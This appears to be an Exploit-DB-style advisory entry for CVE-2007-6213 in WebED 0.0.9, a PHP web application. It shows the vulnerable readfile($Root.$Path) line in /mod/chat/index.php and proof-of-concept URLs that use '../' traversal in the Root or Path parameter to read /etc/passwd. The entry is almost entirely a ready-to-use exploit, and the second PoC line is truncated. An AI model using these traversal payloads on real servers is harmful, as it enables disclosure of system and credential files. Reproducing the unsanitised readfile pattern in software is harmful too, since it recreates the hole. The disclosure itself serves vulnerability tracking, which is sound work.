WebED 0.0.9 - 'index.php' Remote File Disclosure

Author: GoLd_M
type: webapps
platform: php
port: 
date_added: 2007-11-28 
date_updated:  
verified: 1 
codes: OSVDB-39699;CVE-2007-6213 
tags: 
aliases:  
screenshot_url:  
application_url:

WebED v0.0.9 (index.php) Remote File Disclosure Vulnerabilities
Script : http://heanet.dl.sourceforge.net/sourceforge/ed-engine/WebED_v0.0.9.tar.gz
Vuln Code In /mod/chat/index.php :
<body>
 <?php readfile($Root.$Path); ?> <---[xxx]
 <form action="application_loader.php" method="post">
PoC :
     /mod/chat/index.php?Root=../../../../../../etc/passwd
     /mod/chat/index.php?Path=../../../../../../etc/pa

# milw0rm.com [2007-11-29]